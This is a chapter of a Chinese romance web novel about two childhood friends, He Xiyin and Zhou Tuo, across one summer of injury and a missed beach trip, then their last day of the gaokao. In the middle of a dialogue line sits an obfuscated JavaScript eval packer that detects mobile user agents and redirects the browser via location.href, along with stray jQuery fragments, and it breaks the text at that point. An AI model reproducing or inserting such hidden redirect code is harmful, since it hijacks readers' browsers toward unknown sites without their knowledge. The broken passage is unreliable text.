夏天好热，但周拓好冷。


    小时候觉得他早熟，说话做事像个看尽世事的老头。现在觉得他像小孩，还在幼儿园叛逆期的那种。


    他最近在耍酷扮阴郁。


    坐在阳台，捧着本《北岛诗选》，抬头四十五度角仰望天空。那造型，那哀怨的眼眸，特别像那些年非主流空间的背景。


    和她当年的空间背景阴郁男只差一条白色围巾。


    何希音这么想着。


    周拓像是能听到她心声，转着轮椅，去房间拿出蒋素的防晒披肩，折叠几次，围在脖子上。


    他转到晒台继续对着阳光扮深沉。


    何希音看不下去，扯掉纱巾：“大夏天的你这是干嘛？”


    周拓抢回来：“我的心在下雪。”


    “啊？”何希音伸手摸他前额，温度正常，没发烧，但他的样子比病了还可怕，光天化日朗朗乾坤，大好光景，他却像朵萎靡枯萎的娇花，“周拓。你抑郁了？”


    周拓无言，脸色阴沉沉的，眼眸充斥着无语和哀怨。


    何希音坐下，抽出他手里的诗集，随便翻了几页。字字句句皆是愁，像浸水的厚棉衣，穿着冷，脱了也冷。


    周拓说过他喜欢数学，因为数学的答案是确定的。而文学不是。他执着又好胜，任何事都要做到极致，做到完美，但面对没有答案的事物，他会无从下手，他会抓狂，会崩溃。


    不喜欢，所以很少看。


    周拓竟然捧着诗集在看。


    简直是天下奇闻。


    何希音觉得他是被骨折折磨得脑子不正常了，整个暑假憋在屋里憋疯了。


    她直言：“周拓。我带你出去走走吧？”


    “算了。”这两个月，出门对周拓是奢望也是羞耻，轮椅笨重，行动不便，转到哪里都有人盯着他看，那好奇的眼神带着同情，带着困惑，带着叹惜。他对出门从渴望变成了害怕，但得知何希音和乔喻去看电影以后，他更难受，“等拆石膏再说吧。”


    “好呀。”何希音应允。


    她想起饼干盒里的许愿卡。


    那是她送给周拓的生日礼物，周拓什么都不缺，每年生日她送的都是乐高积木，有一年她突发奇想地送他一沓许愿卡。


    她说：“一张卡代表一次许愿。周拓可以要求何希音陪他去做一件事。”


    周拓问：“什么事都行？”


    她敲他脑袋：“当然不是！这叫许愿卡。你许愿，但能不能完成在我。”


    或许是因为这句，周拓从没使用过。


    “周拓。你的许愿卡是不是一张都没用？”


    周拓耸肩：“我想不到有什么可用的。”


    何希音指着远方的蓝天，指着海的方向：“等夏天结束，我们去海边吧！”


    “可以。”他点头。


    “这是你的许愿吗？”何希音问。


    周拓歪头：“这不是你想去的吗？”


    “你不想去吗！海滩多美啊！不值得你消耗掉一张许愿卡吗！”何希音尖声。


    在周拓听来，带着些许威胁。


    他说：“行。你的心愿就是我的。”


    他转去房间，找出饼干盒，拿出一张许愿卡：“我希望何希音陪我去海边。”


    何希音接下：“ok~那本小姐就大发慈悲接受你的许愿吧。”


    他的许愿卡用了，她也答应了。


    两人的伤口却不答应。


    即使两个人折满九十九只纸鹤，许愿快些痊愈，可惜在暑期结束那天，在暑气消散之前，周拓的石膏还没拆去，海滩游玩计划就此搁浅。


    “悲伤。夏天都要结束了。我还没去海边。”何希音坐在晒台，对着吱呀作响的风扇嗷嗷喊，发泄她的不满。


    十七岁的暑假要过去了，最后一个未成年的暑假要结束了。


    她做了很多事，又好像什么都没做，她刷完四本练习题，叠了一兜子的纸鹤，但没有去她心心念念的海滩，没有感受阳光雨露。


    “周拓。我要成年了。”


    周拓打断：“还有半年。”


    何希音往后倒，躺在地板上，两手都抬起，遮挡在眼前，遮住头顶的烈日。明亮的日光穿透指缝，落在她脸上，她眯着眼，噘着嘴，有满腹的委屈要诉说。


    周拓抬手替她遮挡住刺目的阳光。


    他安慰：“你还小。”


    “我不小了。”何希音鼓着嘴。


    “时间很多，夏天也很多，你想做什么都有机会，都来得及。”


    “真的吗？”


    “真的。”


    “周拓，明年这个时间，我们会在干嘛？”


    “领录取通知书。”


    “好快呀。”何希音感叹，“要高三了呢。要高考了呢。要毕业了呢。”


    “你高考结束后有什么想做的吗？”他侧目。


    何希音闭着眼思考。


    许久，她才说：“我要补觉。睡上三天三夜。谁也休想吵醒我！”


    “三天之后呢？”


    “继续睡。”


    周拓嗤笑：“你是瞌睡虫吗？”


    “那个暑假又没事。我肯定会考上夏宜大学政法系。没有作业，没有烦恼。除了补觉还能干嘛？”


    何希音鲤鱼打挺地坐正：“你呢？你想干嘛？”


    周拓陷入沉思。


    “可能会说一些以前没说过，不敢说的话。”


    “喔？！”何希音睁大双眼，张开的手掌贴在耳朵，像个大喇叭，扭着腰，挪着屁股，往他身边靠，耳朵凑上去，“你还有不敢说的？快。说来给本小姐听听。”


    周拓清嗓：“我觉得你很好看。”


    何希音脸颊涨红。周拓不是开玩笑的语气，说得严肃认真。


    她锤他：“少来。”


    周拓说：“我还没说完。”


    “你说。”


    “你笑起来很可爱。”


    何希音明白了，他这是故意逗她呢，想看她害羞，看她会不会自恋地承认。他还真的猜中了，她会承认。


    何希音两手叉腰：“没错。本小姐就是全宇宙第一可爱。”


    她两手都拢在耳朵：“请不要吝啬地继续夸我！”


    “啧。”周拓嘘声，“其他的留到毕业那天再说。”


    “嘁。真小气啊。周拓。”


    “小气鬼是周拓。”


    “周拓是小气鬼。”


    “何希音是幼稚鬼。”


    “啊！夏天要结束了。幼稚鬼和小气鬼都不开心。”


    “夏天还会来的。”


    —


    夏天还会来。


    下一次见面，就是在何希音成年那天，在高考结束那天。


    那天，天气很热，阳光明媚，考试结束铃响彻校园，何希音交完卷，在座位上坐了很久很久。


    她真的熬到高考结束这天了。


    一年前的夏天，她哭着写下信件，打着石膏在医院期待晴天，坐在影院想要去海边。


    如今随着上交的试卷，这些好像都离开很远很远了。


    她跟着人群下楼去备考室整理书包。


    同学们聚在一起，有的在对答案，有的在讨论要去哪里玩，有的在互相签名交换同学录。


    她在徐子欣的校服上签下名字，在旁边画上小爱心。


    “呜。要毕业了。”大大咧咧的徐子欣哭起来也格外用力，豆大的眼泪啪嗒啪嗒掉，丝毫不顾形象，抱着何希音狂哭，好像世界末日来临。


    何希音拍她后背。


    她的眼泪被徐子欣的鼻涕泡给憋回去。


    “哈哈哈。”何希音递纸，递镜子，“你真该看看你现在的样子。”


    徐子欣擦干净：“我擦完脸还是全世界最美的女子。”她拿着镜子左瞧右看，“镜子镜子，你说是不是。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323637|166246||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    “是的。你是全世界第一美。”孙舟凑近，贴在镜子后，声音幽幽的，故意模仿机械音。


    听着怪渗人的。


    徐子欣收镜子，拿书卷成筒敲在他头顶：“笨蛋。走开！”


    孙舟也不恼，拉过凳子，反着坐：“明天要不要一起去游乐园？”


    何希音婉拒：“我要在家补觉。”


    徐子欣打哈欠：“我也是。我这两天紧张得睡不着。梦里都在背单词。我不行了。我要回去睡觉。”


    孙舟改口：“那换个时间。下周三？给你们三天，够睡了吧。”


    徐子欣问：“还有谁要去？”


    孙舟细数：“我、老大，我们宿舍的。我还要叫六班的几个女生。你们都认识的。”


    “周拓也去啊？”何希音有些惊讶，周拓不喜欢游乐场，每次去，都是她拖着他去。


    孙舟指着何希音：“你去。他就会去了啊。”


    徐子欣话锋突转：“喂。说真的。希音。你和周拓认识那么多年。你对他……只是朋友？”


    “你想问什么？”


    “就……你们那么熟。周拓也挺好的……”徐子欣不知道怎么说。


    孙舟比她更神经大条，非常直接，丝毫没有给何希音留任何回旋的余地：“老大超级好啊。长得帅，成绩好。对你那更是没话说。你难道没有一点喜欢他吗？”


    何希音吓成结巴：“你……你说什么！”


    孙舟摊手：“无所谓吧。都毕业了啊。”


    徐子欣捧着脑袋，盯着她。


    两个好奇宝宝就这么睁大眼睛，布灵布灵地，像两对大铜铃，但两个人的嘴巴也和喇叭差不多。


    何希音坚决否认：“没有。”


    “我和周拓那是多年的兄弟感情。”她拍胸脯，甚至举着三根手指起誓，“我俩纯友谊。他就是脱光了，站在我的面前，我绝对是眼不眨，心不跳。”


    “你想看我脱光？”周拓阴冷的声音冷不丁在背后出现。


    何希音汗毛竖立，背脊冷汗阵阵往外冒，吓得不敢回头。


    周拓绕到她面前坐下：“我听听。你准备如何评价我。”


    何希音锤他肩膀：“拓哥。咱俩那可是多年的铁哥们。对吧？”


    “噢。数学笔记。还给你。”她归还笔记，“好啦。好啦。回家啦。我要饿晕了。周叔叔说今天他要做大餐，邀请我了呢。快点回去吧。”


    两人一前一后地走在校道上。


    何希音停下等他。


    “周拓。”


    “干嘛？”


    “你是不是有话和我说？”


    周拓愣了下，手摸后颈：“什么话？”


    何希音叉腰：“夸我的话啊！”


    她提醒：“你忘了。一年前，在你家晒台，你还打着石膏。你说有很多不敢说的，准备夸我的。”


    “高考结束啦！请尽情夸奖我！”


    周拓鼓掌，语气却极尽敷衍：“你最棒。你最好。”


    “嘁。你还是如此无趣。”


    “第一天认识我？”


    “嘁。嘁。嘁。”


    两人并肩往前，路过高考心愿榜，这个超大的宣传板上是每个高三生写下的理想院校，周拓的字迹很好认，写在很显眼的位置。


    他的第一志愿是京大的数学系。


    他会考上的。


    何希音相信。


    两人的志愿不同，要去不同的城市上学。


    何希音忽然攥拳，伸出拳头：“周拓。就算我们以后不在一个学校，不在一个城市，我们还是……好兄弟……对吧？”


    周拓攥着拳，却没有和她碰拳。


    而是顿了一会，松开拳头，抬手，落在她头顶，非常轻，非常轻。


    何希音缩了缩脖子。


    下一秒，刘海就被他揉成杂草。


    他闷声：“嗯。”